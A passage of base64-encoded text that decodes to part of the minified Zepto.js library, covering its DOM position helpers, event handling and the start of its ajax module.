mFyIGY9Yyh0aGlzKSxnPVgodGhpcyxiLGUsWih0aGlzKSk7Zy5zcGxpdCgvXHMrL2cpLmZvckVhY2goZnVuY3Rpb24oYil7KGQ9PT1hPyFmLmhhc0NsYXNzKGIpOmQpP2YuYWRkQ2xhc3MoYik6Zi5yZW1vdmVDbGFzcyhiKX0pfSk6dGhpc30sc2Nyb2xsVG9wOmZ1bmN0aW9uKGIpe2lmKCF0aGlzLmxlbmd0aClyZXR1cm47dmFyIGM9InNjcm9sbFRvcCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsVG9wOnRoaXNbMF0ucGFnZVlPZmZzZXQ6dGhpcy5lYWNoKGM/ZnVuY3Rpb24oKXt0aGlzLnNjcm9sbFRvcD1ifTpmdW5jdGlvbigpe3RoaXMuc2Nyb2xsVG8odGhpcy5zY3JvbGxYLGIpfSl9LHNjcm9sbExlZnQ6ZnVuY3Rpb24oYil7aWYoIXRoaXMubGVuZ3RoKXJldHVybjt2YXIgYz0ic2Nyb2xsTGVmdCJpbiB0aGlzWzBdO3JldHVybiBiPT09YT9jP3RoaXNbMF0uc2Nyb2xsTGVmdDp0aGlzWzBdLnBhZ2VYT2Zmc2V0OnRoaXMuZWFjaChjP2Z1bmN0aW9uKCl7dGhpcy5zY3JvbGxMZWZ0PWJ9OmZ1bmN0aW9uKCl7dGhpcy5zY3JvbGxUbyhiLHRoaXMuc2Nyb2xsWSl9KX0scG9zaXRpb246ZnVuY3Rpb24oKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuO3ZhciBhPXRoaXNbMF0sYj10aGlzLm9mZnNldFBhcmVudCgpLGQ9dGhpcy5vZmZzZXQoKSxlPW8udGVzdChiWzBdLm5vZGVOYW1lKT97dG9wOjAsbGVmdDowfTpiLm9mZnNldCgpO3JldHVybiBkLnRvcC09cGFyc2VGbG9hdChjKGEpLmNzcygibWFyZ2luLXRvcCIpKXx8MCxkLmxlZnQtPXBhcnNlRmxvYXQoYyhhKS5jc3MoIm1hcmdpbi1sZWZ0IikpfHwwLGUudG9wKz1wYXJzZUZsb2F0KGMoYlswXSkuY3NzKCJib3JkZXItdG9wLXdpZHRoIikpfHwwLGUubGVmdCs9cGFyc2VGbG9hdChjKGJbMF0pLmNzcygiYm9yZGVyLWxlZnQtd2lkdGgiKSl8fDAse3RvcDpkLnRvcC1lLnRvcCxsZWZ0OmQubGVmdC1lLmxlZnR9fSxvZmZzZXRQYXJlbnQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXt2YXIgYT10aGlzLm9mZnNldFBhcmVudHx8aC5ib2R5O3doaWxlKGEmJiFvLnRlc3QoYS5ub2RlTmFtZSkmJmMoYSkuY3NzKCJwb3NpdGlvbiIpPT0ic3RhdGljIilhPWEub2Zmc2V0UGFyZW50O3JldHVybiBhfSl9fSxjLmZuLmRldGFjaD1jLmZuLnJlbW92ZSxbIndpZHRoIiwiaGVpZ2h0Il0uZm9yRWFjaChmdW5jdGlvbihiKXt2YXIgZD1iLnJlcGxhY2UoLy4vLGZ1bmN0aW9uKGEpe3JldHVybiBhWzBdLnRvVXBwZXJDYXNlKCl9KTtjLmZuW2JdPWZ1bmN0aW9uKGUpe3ZhciBmLGc9dGhpc1swXTtyZXR1cm4gZT09PWE/SShnKT9nWyJpbm5lciIrZF06SihnKT9nLmRvY3VtZW50RWxlbWVudFsic2Nyb2xsIitkXTooZj10aGlzLm9mZnNldCgpKSYmZltiXTp0aGlzLmVhY2goZnVuY3Rpb24oYSl7Zz1jKHRoaXMpLGcuY3NzKGIsWCh0aGlzLGUsYSxnW2JdKCkpKX0pfX0pLHIuZm9yRWFjaChmdW5jdGlvbihhLGIpe3ZhciBkPWIlMjtjLmZuW2FdPWZ1bmN0aW9uKCl7dmFyIGEsZT1jLm1hcChhcmd1bWVudHMsZnVuY3Rpb24oYil7cmV0dXJuIGE9RyhiKSxhPT0ib2JqZWN0Inx8YT09ImFycmF5Inx8Yj09bnVsbD9iOkIuZnJhZ21lbnQoYil9KSxmLGc9dGhpcy5sZW5ndGg+MTtyZXR1cm4gZS5sZW5ndGg8MT90aGlzOnRoaXMuZWFjaChmdW5jdGlvbihhLGgpe2Y9ZD9oOmgucGFyZW50Tm9kZSxoPWI9PTA/aC5uZXh0U2libGluZzpiPT0xP2guZmlyc3RDaGlsZDpiPT0yP2g6bnVsbCxlLmZvckVhY2goZnVuY3Rpb24oYSl7aWYoZylhPWEuY2xvbmVOb2RlKCEwKTtlbHNlIGlmKCFmKXJldHVybiBjKGEpLnJlbW92ZSgpO18oZi5pbnNlcnRCZWZvcmUoYSxoKSxmdW5jdGlvbihhKXthLm5vZGVOYW1lIT1udWxsJiZhLm5vZGVOYW1lLnRvVXBwZXJDYXNlKCk9PT0iU0NSSVBUIiYmKCFhLnR5cGV8fGEudHlwZT09PSJ0ZXh0L2phdmFzY3JpcHQiKSYmIWEuc3JjJiZ3aW5kb3cuZXZhbC5jYWxsKHdpbmRvdyxhLmlubmVySFRNTCl9KX0pfSl9LGMuZm5bZD9hKyJUbyI6Imluc2VydCIrKGI/IkJlZm9yZSI6IkFmdGVyIildPWZ1bmN0aW9uKGIpe3JldHVybiBjKGIpW2FdKHRoaXMpLHRoaXN9fSksQi5aLnByb3RvdHlwZT1jLmZuLEIudW5pcT1ELEIuZGVzZXJpYWxpemVWYWx1ZT0kLGMuemVwdG89QixjfSgpO3dpbmRvdy5aZXB0bz1aZXB0byx3aW5kb3cuJD09PXVuZGVmaW5lZCYmKHdpbmRvdy4kPVplcHRvKSxmdW5jdGlvbihhKXtmdW5jdGlvbiBtKGEpe3JldHVybiBhLl96aWR8fChhLl96aWQ9YysrKX1mdW5jdGlvbiBuKGEsYixjLGQpe2I9byhiKTtpZihiLm5zKXZhciBlPXAoYi5ucyk7cmV0dXJuKGhbbShhKV18fFtdKS5maWx0ZXIoZnVuY3Rpb24oYSl7cmV0dXJuIGEmJighYi5lfHxhLmU9PWIuZSkmJighYi5uc3x8ZS50ZXN0KGEubnMpKSYmKCFjfHxtKGEuZm4pPT09bShjKSkmJighZHx8YS5zZWw9PWQpfSl9ZnVuY3Rpb24gbyhhKXt2YXIgYj0oIiIrYSkuc3BsaXQoIi4iKTtyZXR1cm57ZTpiWzBdLG5zOmIuc2xpY2UoMSkuc29ydCgpLmpvaW4oIiAiKX19ZnVuY3Rpb24gcChhKXtyZXR1cm4gbmV3IFJlZ0V4cCgiKD86XnwgKSIrYS5yZXBsYWNlKCIgIiwiIC4qID8iKSsiKD86IHwkKSIpfWZ1bmN0aW9uIHEoYSxiKXtyZXR1cm4gYS5kZWwmJiFqJiZhLmUgaW4ga3x8ISFifWZ1bmN0aW9uIHIoYSl7cmV0dXJuIGxbYV18fGomJmtbYV18fGF9ZnVuY3Rpb24gcyhiLGMsZSxmLGcsaSxqKXt2YXIgaz1tKGIpLG49aFtrXXx8KGhba109W10pO2Muc3BsaXQoL1xzLykuZm9yRWFjaChmdW5jdGlvbihjKXtpZihjPT0icmVhZHkiKXJldHVybiBhKGRvY3VtZW50KS5yZWFkeShlKTt2YXIgaD1vKGMpO2guZm49ZSxoLnNlbD1nLGguZSBpbiBsJiYoZT1mdW5jdGlvbihiKXt2YXIgYz1iLnJlbGF0ZWRUYXJnZXQ7aWYoIWN8fGMhPT10aGlzJiYhYS5jb250YWlucyh0aGlzLGMpKXJldHVybiBoLmZuLmFwcGx5KHRoaXMsYXJndW1lbnRzKX0pLGguZGVsPWk7dmFyIGs9aXx8ZTtoLnByb3h5PWZ1bmN0aW9uKGEpe2E9eShhKTtpZihhLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuO2EuZGF0YT1mO3ZhciBjPWsuYXBwbHkoYixhLl9hcmdzPT1kP1thXTpbYV0uY29uY2F0KGEuX2FyZ3MpKTtyZXR1cm4gYz09PSExJiYoYS5wcmV2ZW50RGVmYXVsdCgpLGEuc3RvcFByb3BhZ2F0aW9uKCkpLGN9LGguaT1uLmxlbmd0aCxuLnB1c2goaCksImFkZEV2ZW50TGlzdGVuZXIiaW4gYiYmYi5hZGRFdmVudExpc3RlbmVyKHIoaC5lKSxoLnByb3h5LHEoaCxqKSl9KX1mdW5jdGlvbiB0KGEsYixjLGQsZSl7dmFyIGY9bShhKTsoYnx8IiIpLnNwbGl0KC9ccy8pLmZvckVhY2goZnVuY3Rpb24oYil7bihhLGIsYyxkKS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2RlbGV0ZSBoW2ZdW2IuaV0sInJlbW92ZUV2ZW50TGlzdGVuZXIiaW4gYSYmYS5yZW1vdmVFdmVudExpc3RlbmVyKHIoYi5lKSxiLnByb3h5LHEoYixlKSl9KX0pfWZ1bmN0aW9uIHkoYixjKXtpZihjfHwhYi5pc0RlZmF1bHRQcmV2ZW50ZWQpe2N8fChjPWIpLGEuZWFjaCh4LGZ1bmN0aW9uKGEsZCl7dmFyIGU9Y1thXTtiW2FdPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXNbZF09dSxlJiZlLmFwcGx5KGMsYXJndW1lbnRzKX0sYltkXT12fSk7aWYoYy5kZWZhdWx0UHJldmVudGVkIT09ZD9jLmRlZmF1bHRQcmV2ZW50ZWQ6InJldHVyblZhbHVlImluIGM/Yy5yZXR1cm5WYWx1ZT09PSExOmMuZ2V0UHJldmVudERlZmF1bHQmJmMuZ2V0UHJldmVudERlZmF1bHQoKSliLmlzRGVmYXVsdFByZXZlbnRlZD11fXJldHVybiBifWZ1bmN0aW9uIHooYSl7dmFyIGIsYz17b3JpZ2luYWxFdmVudDphfTtmb3IoYiBpbiBhKSF3LnRlc3QoYikmJmFbYl0hPT1kJiYoY1tiXT1hW2JdKTtyZXR1cm4geShjLGEpfXZhciBiPWEuemVwdG8ucXNhLGM9MSxkLGU9QXJyYXkucHJvdG90eXBlLnNsaWNlLGY9YS5pc0Z1bmN0aW9uLGc9ZnVuY3Rpb24oYSl7cmV0dXJuIHR5cGVvZiBhPT0ic3RyaW5nIn0saD17fSxpPXt9LGo9Im9uZm9jdXNpbiJpbiB3aW5kb3csaz17Zm9jdXM6ImZvY3VzaW4iLGJsdXI6ImZvY3Vzb3V0In0sbD17bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9O2kuY2xpY2s9aS5tb3VzZWRvd249aS5tb3VzZXVwPWkubW91c2Vtb3ZlPSJNb3VzZUV2ZW50cyIsYS5ldmVudD17YWRkOnMscmVtb3ZlOnR9LGEucHJveHk9ZnVuY3Rpb24oYixjKXtpZihmKGIpKXt2YXIgZD1mdW5jdGlvbigpe3JldHVybiBiLmFwcGx5KGMsYXJndW1lbnRzKX07cmV0dXJuIGQuX3ppZD1tKGIpLGR9aWYoZyhjKSlyZXR1cm4gYS5wcm94eShiW2NdLGIpO3Rocm93IG5ldyBUeXBlRXJyb3IoImV4cGVjdGVkIGZ1bmN0aW9uIil9LGEuZm4uYmluZD1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYSxiLGMpfSxhLmZuLnVuYmluZD1mdW5jdGlvbihhLGIpe3JldHVybiB0aGlzLm9mZihhLGIpfSxhLmZuLm9uZT1mdW5jdGlvbihhLGIsYyxkKXtyZXR1cm4gdGhpcy5vbihhLGIsYyxkLDEpfTt2YXIgdT1mdW5jdGlvbigpe3JldHVybiEwfSx2PWZ1bmN0aW9uKCl7cmV0dXJuITF9LHc9L14oW0EtWl18cmV0dXJuVmFsdWUkfGxheWVyW1hZXSQpLyx4PXtwcmV2ZW50RGVmYXVsdDoiaXNEZWZhdWx0UHJldmVudGVkIixzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb246ImlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkIixzdG9wUHJvcGFnYXRpb246ImlzUHJvcGFnYXRpb25TdG9wcGVkIn07YS5mbi5kZWxlZ2F0ZT1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIHRoaXMub24oYixhLGMpfSxhLmZuLnVuZGVsZWdhdGU9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiB0aGlzLm9mZihiLGEsYyl9LGEuZm4ubGl2ZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLmRlbGVnYXRlKHRoaXMuc2VsZWN0b3IsYixjKSx0aGlzfSxhLmZuLmRpZT1mdW5jdGlvbihiLGMpe3JldHVybiBhKGRvY3VtZW50LmJvZHkpLnVuZGVsZWdhdGUodGhpcy5zZWxlY3RvcixiLGMpLHRoaXN9LGEuZm4ub249ZnVuY3Rpb24oYixjLGgsaSxqKXt2YXIgayxsLG09dGhpcztpZihiJiYhZyhiKSlyZXR1cm4gYS5lYWNoKGIsZnVuY3Rpb24oYSxiKXttLm9uKGEsYyxoLGIsail9KSxtOyFnKGMpJiYhZihpKSYmaSE9PSExJiYoaT1oLGg9YyxjPWQpO2lmKGYoaCl8fGg9PT0hMSlpPWgsaD1kO3JldHVybiBpPT09ITEmJihpPXYpLG0uZWFjaChmdW5jdGlvbihkLGYpe2omJihrPWZ1bmN0aW9uKGEpe3JldHVybiB0KGYsYS50eXBlLGkpLGkuYXBwbHkodGhpcyxhcmd1bWVudHMpfSksYyYmKGw9ZnVuY3Rpb24oYil7dmFyIGQsZz1hKGIudGFyZ2V0KS5jbG9zZXN0KGMsZikuZ2V0KDApO2lmKGcmJmchPT1mKXJldHVybiBkPWEuZXh0ZW5kKHooYikse2N1cnJlbnRUYXJnZXQ6ZyxsaXZlRmlyZWQ6Zn0pLChrfHxpKS5hcHBseShnLFtkXS5jb25jYXQoZS5jYWxsKGFyZ3VtZW50cywxKSkpfSkscyhmLGIsaSxoLGMsbHx8ayl9KX0sYS5mbi5vZmY9ZnVuY3Rpb24oYixjLGUpe3ZhciBoPXRoaXM7cmV0dXJuIGImJiFnKGIpPyhhLmVhY2goYixmdW5jdGlvbihhLGIpe2gub2ZmKGEsYyxiKX0pLGgpOighZyhjKSYmIWYoZSkmJmUhPT0hMSYmKGU9YyxjPWQpLGU9PT0hMSYmKGU9diksaC5lYWNoKGZ1bmN0aW9uKCl7dCh0aGlzLGIsZSxjKX0pKX0sYS5mbi50cmlnZ2VyPWZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9ZyhiKXx8YS5pc1BsYWluT2JqZWN0KGIpP2EuRXZlbnQoYik6eShiKSxiLl9hcmdzPWMsdGhpcy5lYWNoKGZ1bmN0aW9uKCl7ImRpc3BhdGNoRXZlbnQiaW4gdGhpcz90aGlzLmRpc3BhdGNoRXZlbnQoYik6YSh0aGlzKS50cmlnZ2VySGFuZGxlcihiLGMpfSl9LGEuZm4udHJpZ2dlckhhbmRsZXI9ZnVuY3Rpb24oYixjKXt2YXIgZCxlO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZixoKXtkPXooZyhiKT9hLkV2ZW50KGIpOmIpLGQuX2FyZ3M9YyxkLnRhcmdldD1oLGEuZWFjaChuKGgsYi50eXBlfHxiKSxmdW5jdGlvbihhLGIpe2U9Yi5wcm94eShkKTtpZihkLmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkpcmV0dXJuITF9KX0pLGV9LCJmb2N1c2luIGZvY3Vzb3V0IGxvYWQgcmVzaXplIHNjcm9sbCB1bmxvYWQgY2xpY2sgZGJsY2xpY2sgbW91c2Vkb3duIG1vdXNldXAgbW91c2Vtb3ZlIG1vdXNlb3ZlciBtb3VzZW91dCBtb3VzZWVudGVyIG1vdXNlbGVhdmUgY2hhbmdlIHNlbGVjdCBrZXlkb3duIGtleXByZXNzIGtleXVwIGVycm9yIi5zcGxpdCgiICIpLmZvckVhY2goZnVuY3Rpb24oYil7YS5mbltiXT1mdW5jdGlvbihhKXtyZXR1cm4gYT90aGlzLmJpbmQoYixhKTp0aGlzLnRyaWdnZXIoYil9fSksWyJmb2N1cyIsImJsdXIiXS5mb3JFYWNoKGZ1bmN0aW9uKGIpe2EuZm5bYl09ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5iaW5kKGIsYSk6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dHJ5e3RoaXNbYl0oKX1jYXRjaChhKXt9fSksdGhpc319KSxhLkV2ZW50PWZ1bmN0aW9uKGEsYil7ZyhhKXx8KGI9YSxhPWIudHlwZSk7dmFyIGM9ZG9jdW1lbnQuY3JlYXRlRXZlbnQoaVthXXx8IkV2ZW50cyIpLGQ9ITA7aWYoYilmb3IodmFyIGUgaW4gYillPT0iYnViYmxlcyI/ZD0hIWJbZV06Y1tlXT1iW2VdO3JldHVybiBjLmluaXRFdmVudChhLGQsITApLHkoYyl9fShaZXB0byksZnVuY3Rpb24oJCl7ZnVuY3Rpb24gdHJpZ2dlckFuZFJldHVybihhLGIsYyl7dmFyIGQ9JC5FdmVudChiKTtyZXR1cm4gJChhKS50cmlnZ2VyKGQsYyksIWQuaXNEZWZhdWx0UHJldmVudGVkKCl9ZnVuY3Rpb24gdHJpZ2dlckdsb2JhbChhLGIsYyxkKXtpZihhLmdsb2JhbClyZXR1cm4gdHJpZ2dlckFuZFJldHVybihifHxkb2N1bWVudCxjLGQpfWZ1bmN0aW9uIGFqYXhTdGFydChhKXthLmdsb2JhbCYmJC5hY3RpdmUrKz09PTAmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RhcnQiKX1mdW5jdGlvbiBhamF4U3RvcChhKXthLmdsb2JhbCYmIS0tJC5hY3RpdmUmJnRyaWdnZXJHbG9iYWwoYSxudWxsLCJhamF4U3RvcCIpfWZ1bmN0aW9uIGFqYXhCZWZvcmVTZW5kKGEsYil7dmFyIGM9Yi5jb250ZXh0O2lmKGIuYmVmb3JlU2VuZC5jYWxsKGMsYSxiKT09PSExfHx0cmlnZ2VyR2xvYmFsKGIsYywiYWpheEJlZm9yZVNlbmQiLFthLGJdKT09PSExKXJldHVybiExO3RyaWdnZXJHbG9iYWwoYixjLCJhamF4U2VuZCIsW2EsYl0pfWZ1bmN0aW9uIGFqYXhTdWNjZXNzKGEsYixjLGQpe3ZhciBlPWMuY29udGV4dCxmPSJzdWNjZXNzIjtjLnN1Y2Nlc3MuY2FsbChlLGEsZixiKSxkJiZkLnJlc29sdmVXaXRoKGUsW2EsZixiXSksdHJpZ2dlckdsb2JhbChjLGUsImFqYXhTdWNjZXNzIixbYixjLGFdKSxhamF4Q29tcGxldGUoZixiLGMpfWZ1bmN0aW9uIGFqYXhFcnJvcihhLGIsYyxkLGUpe3ZhciBmPWQuY29udGV4dDtkLmVycm9yLmNhbGwoZixjLGIsYSksZSYmZS5yZWplY3RXaXRoKGYsW2MsYixhXSksdHJpZ2dlckdsb2JhbChkLGYsImFqYXhFcnJvciIsW2MsZCxhfHxiXSksYWpheENvbXBsZXRlKGIsYyxkKX1mdW5jdGlvbiBhamF4Q29tcGxldGUoYSxiLGMpe3ZhciBkPWMuY29udGV4dDtjLmNvbXBsZXRlLmNhbGwoZCxiLGEpLHRyaWdnZXJHbG9iYWwoYyxkLCJhamF4Q29tcGxldGUiLFtiLGNdKSxhamF4U3RvcChjKX1mdW5jdGlvbiBlbXB0eSgpe31mdW5jdGlvbiBtaW1lVG9EYXRhVHlwZShhKXtyZXR1cm4gYSYmKGE9YS5zcGxpdCgiOyIsMilbMF0pLGEmJihhPT1odG1sVHlwZT8iaHRtbCI6YT09anNvblR5cGU/Impzb24iOnNjcmlwdFR5cGVSRS50ZXN0KGEpPyJzY3JpcHQiOnhtbFR5cGVSRS50ZXN0KGEpJiYieG1sIil8fCJ0ZXh0In1mdW5jdGlvbiBhcHBlbmRRdWVyeShhLGIpe3JldHVybiBiPT0iIj9hOihhKyImIitiKS5yZXBsYWNlKC9bJj9dezEsMn0vLCI/Iil9ZnVuY3Rpb24gc2VyaWFsaXplRGF0YShhKXthLnByb2Nlc3NEYXRhJiZhLmRhdGEmJiQudHlwZShhLmRhdGEpIT0ic3RyaW5nIiYmKGEuZGF0YT0kLnBhcmFtKGEuZGF0YSxhLnRyYWRpdGlvbmFsKSksYS5kYXRhJiYoIWEudHlwZXx8YS50eXBlLnRvVXBwZXJDYXNlKCk9PSJHRVQiKSYmKGEudXJsPWFwcGVuZFF1ZXJ5KGEudXJsLGEuZGF0YSksYS5kYXRhPXVuZGVmaW5lZCl9ZnVuY3Rpb24gcGFyc2VBcmd1bWVudHMoYSxiLGMsZCl7dmFyIGU9ISQuaXNGdW5jdGlvbihiKTtyZXR1cm57dXJsOmEsZGF0YTplP2I6dW5kZWZpbmVkLHN1Y2Nlc3M6ZT8kLmlzRnVuY3Rpb24oYyk/Yzp1bmRlZmluZWQ6YixkYXRhVHlwZTplP2R8fGM6Y319ZnVuY3Rpb24gc2VyaWFsaXplKGEsYixjLGQpe3ZhciBlLGY9JC5pc0FycmF5KGIpLGc9JC5pc1BsYWluT2JqZWN0KGIpOyQuZWFjaChiLGZ1bmN0aW9uKGIsaCl7ZT0kLnR5cGUoaCksZCYmKGI9Yz9kOmQrIlsiKyhnfHxlPT0ib2JqZWN0Inx8ZT09ImFycmF5Ij9iOiIiKSsiXSIpLCFkJiZmP2EuYWRkKGgubmFtZSxoLnZhbHVlKTplPT0iYXJyYXkifHwhYyYmZT09Im9iamVjdCI/c2VyaWFsaXplKGEsaCxjLGIpOmEuYWRkKGIsaCl9KX12YXIganNvbnBJRD0wLGRvY3VtZW50PXdpbmRvdy5kb2N1bWVudCxrZXksbmFtZSxyc2NyaXB0PS88c2NyaXB0XGJbXjxdKig/Oig/ITxcL3NjcmlwdD4pPFtePF0qKSo8XC9zY3JpcHQ+L2dpLHNjcmlwdFR5cGVSRT0vXig/OnRleHR8YXBwbGljYXRpb24pXC9qYXZhc2NyaXB0L2kseG1sVHlwZVJFPS9eKD86dGV4dHxhcHBsaWNhdGlvbilcL3htbC9pLGpzb25UeXBlPSJhcHBsaWNhdGlvbi9qc29uIixodG1sVHlwZT0idGV4dC9odG1sIixibGFua1JFPS9eXHMqJC87JC5hY3RpdmU9MCwkLmFqYXhKU09OUD1mdW5jdGlvbihhLGIpe2lmKCJ0eXBlImluIGEpe3ZhciBjPWEuanNvbnBDYWxsYmFjayxkPSgkLmlzRnVuY3Rpb24oYyk/YygpOmMpfHwianNvbnAiKyArK2pzb25wSUQsZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKSxmPXdpbmRvd1tkXSxnLGg9ZnVuY3Rpb24oYSl7JChlKS50cmlnZ2VySGFuZGxlcigiZXJyb3IiLGF8fCJhYm9ydCIpfSxpPXthYm9ydDpofSxqO3JldHVybiBiJiZiLnByb21pc2UoaSksJChlKS5vbigibG9hZCBlcnJvciIsZnVuY3Rpb24oYyxoKXtjbGVhclRpbWVvdXQoaiksJChlKS5vZmYoKS5yZW1vdmUoKSxjLnR5cGU9PSJlcnJvciJ8fCFnP2FqYXhFcnJvcihudWxsLGh8fCJlcnJvciIsaSxhLGIpOmFqYXhTdWNjZXNzKGdbMF0saSxhLGIpLHdpbmRvd1tkXT1mLGcmJiQuaXNGdW5jdGlvbihmKSYmZihnWzBdKSxmPWc9dW5kZWZpbmVkfSksYWpheEJlZm9yZVNlbmQoaSxhKT09PSExPyhoKCJhYm9ydCIpLGkpOih3aW5kb3dbZF09ZnVuY3Rpb24oKXtnPWFyZ3VtZW50c30sZS5zcmM9YS51cmwucmVwbGFjZSgvPVw/LywiPSIrZCksZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChlKSxhLnRpbWVvdXQ+MCYmKGo9c2V0VGltZW91dChmdW5jdGlvbigpe2goInRpbWVvdXQiKX0sYS50aW1lb3V0KSksaSl9cmV0dXJuICQuYWpheChhKX0sJC5hamF4U2V0dGluZ3M9e3R5cGU6IkdFVCIsYmVmb3JlU2VuZDplbXB0eSxzdWNjZXNzOmVtcHR5LGVycm9yOmVtcHR5LGNvbXBsZXRlOmVtcHR5LGNvbnRleHQ6bnVsbCxnbG9iYWw6ITAseGhyOmZ1bmN0aW9uKCl7cmV0dXJuIG5ldyB3aW5kb3cuWE1MSHR0cFJlcXVlc3R9LGFjY2VwdHM6e3NjcmlwdDoidGV4dC9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi9qYXZhc2NyaXB0LCBhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiLGpzb246anNvblR5cGUseG1sOiJhcHBsaWNhdGlvbi94bWwsIHRleHQveG1sIixodG1sOmh0bWxUeXBlLHRleHQ6InRleHQvcGxhaW4ifSxjcm9zc0RvbWFpbjohMSx0aW1lb3V0OjAscHJvY2Vzc0RhdGE6ITAsY2FjaGU6ITB9LCQuYWpheD1mdW5jdGlvbihvcHRpb25zKXt2YXIgc2V0dGluZ3M9JC5leHRlbmQoe30sb3B0aW9uc3x8e30pLGRlZmVycmVkPSQuRGVmZXJyZWQmJiQuRGVmZXJyZWQoKTtmb3Ioa2V5IGluICQuYWpheFNldHRpbmdzKXNldHRpbmdzW2tleV09PT11bmRlZmluZWQmJihzZXR0aW5nc1trZXldPSQuYWpheFNldHRpbmdzW2tleV0pO2FqYXhTdGFydChzZXR0aW5ncyksc2V0dGluZ3MuY3Jvc3NEb21haW58fChzZXR0aW5ncy5jcm9zc0RvbWFpbj0vXihbXHctXSs6KT9cL1wvKFteXC9dKykvLnRlc3Qoc2V0dGluZ3MudXJsKSYmUmVnRXhwLiQyIT13aW5kb3cubG9jYXRpb24uaG9zdCksc2V0dGluZ3MudXJsfHwoc2V0dGluZ3MudXJsPXdpbmRvdy5sb2NhdGlvbi50b1N0cmluZygpKSxzZXJpYWxpemVEYXRhKHNldHRpbmdzKSxzZXR0aW5ncy5jYWNoZT09PSExJiYoc2V0dGluZ3MudXJsPWFwcGVuZFF1ZXJ5KHNldHRpbmdzLnVybCwiXz0iK0RhdGUubm93KCkpKTt2YXIgZGF0YVR5cGU9c2V0dGluZ3MuZGF0YVR5cGUsaGFzUGxhY2Vob2xkZXI9Lz1cPy8udGVzdChzZXR0aW5ncy51cmwpO2lmKGRhdGFUeXBlPT0ianNvbnAifHxoYXNQbGFjZWhvbGRlcilyZXR1cm4gaGFzUGxhY2Vob2xkZXJ8fChzZXR0aW5ncy51cmw9YXBwZW5kUXVlcnkoc2V0dGluZ3MudXJsLHNldHRpbmdzLmpzb25wP3NldHRpbmdzLmpzb25wKyI9PyI6c2V0dGluZ3MuanNvbnA9PT0hMT8iIjoiY2FsbGJhY2s9PyIpKSwkLmFqYXhKU09OUChzZXR0aW5ncyxkZWZlcnJlZCk7dmFyIG1pbWU9c2V0dGluZ3MuYWNjZXB0c1tkYXRhVHlwZV0saGVhZGVycz17fSxzZXRIZWFkZXI9ZnVuY3Rpb24oYSxiKXtoZWFkZXJzW2EudG9Mb3dlckNhc2UoKV09W2EsYl19LHByb3RvY29sPS9eKFtcdy1dKzopXC9cLy8udGVzdChzZXR0aW5ncy51cmwpP1JlZ0V4cC4kMTp3aW5kb3cubG9jYXRpb24ucHJvdG9jb2wseGhyPXNldHRpbmdzLnhocigpLG5hdGl2ZVNldEhlYWRlcj14aHIuc2V0UmVxdWVzdEhlYWRlcixhYm9ydFRpbWVvdXQ7ZGVmZXJyZWQmJmRlZmVycmVkLnByb21pc2UoeGhyKSxzZXR0aW5ncy5jcm9zc0RvbWFpbnx8c2V0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwiWE1MSHR0cFJlcXVlc3QiKSxzZXRIZWFkZXIoIkFjY2VwdCIsbWltZXx8IiovKiIpO2lmKG1pbWU9c2V0dGluZ3MubWltZVR5cGV8fG1pbWUpbWltZS5pbmRleE9mKCIsIik+LTEmJihtaW1lPW1pbWUuc3BsaXQoIiwiLDIpWzBdKSx4aHIub3ZlcnJpZGVNaW1lVHlwZSYmeGhyLm92ZXJyaWRlTWltZVR5cGUobWltZSk7KHNldHRpbmdzLmNvbnRlbnRUeXBlfHxzZXR0aW5ncy5jb250ZW50VHlwZSE9PSExJiZzZXR0aW5ncy5kYXRhJiZzZXR0aW5ncy50eXBlLnRvVXBwZXJDYXNlKCkhPSJHRVQiKSYmc2V0SGVhZGVyKCJDb250ZW50LVR5cGUiLHNldHRpbmdzLmNvbnRlbnRUeXBlfHwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7aWYoc2V0dGluZ3MuaGVhZGVycylmb3IobmFtZSBpbiBzZXR0aW5ncy5oZWFkZXJzKXNldEhlYWRlcihuYW1lLHNldHRpbmdzLmhlYWRlcnNbbmFtZV0pO3hoci5zZXRSZXF1ZXN0SGVhZGVyPXNldEhlYWRlcix4aHIub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoeGhyLnJlYWR5U3RhdGU9PTQpe3hoci5vbnJlYWR5c3RhdGVjaGFuZ2U9ZW1wdHksY2xlYXJUaW1lb3V0KGFib3J0VGltZW91dCk7dmFyIHJlc3VsdCxlcnJvcj0hMTtpZih4aHIuc3RhdHVzPj0yMDAmJnhoci5zdGF0dXM8MzAwfHx4aHIuc3RhdHVzPT0zMDR8fHhoci5zdGF0dXM9PTAmJnByb3RvY29sPT0iZmlsZToiKXtkYXRhVHlwZT1kYXRhVHlwZXx8bWltZVRvRGF0YVR5cGUoc2V0dGluZ3MubWltZVR5cGV8fHhoci5nZXRSZXNwb25zZUhlYWRlcigiY29udGVudC10eXBlIikpLHJlc3VsdD14aHIucmVzcG9uc2VUZXh0O3RyeXtkYXRhVHlwZT09InNjcmlwdCI/KDEsZXZhbCkocmVzdWx0KTpkYXRhVHlwZT09InhtbCI/cmVzdWx0PXhoc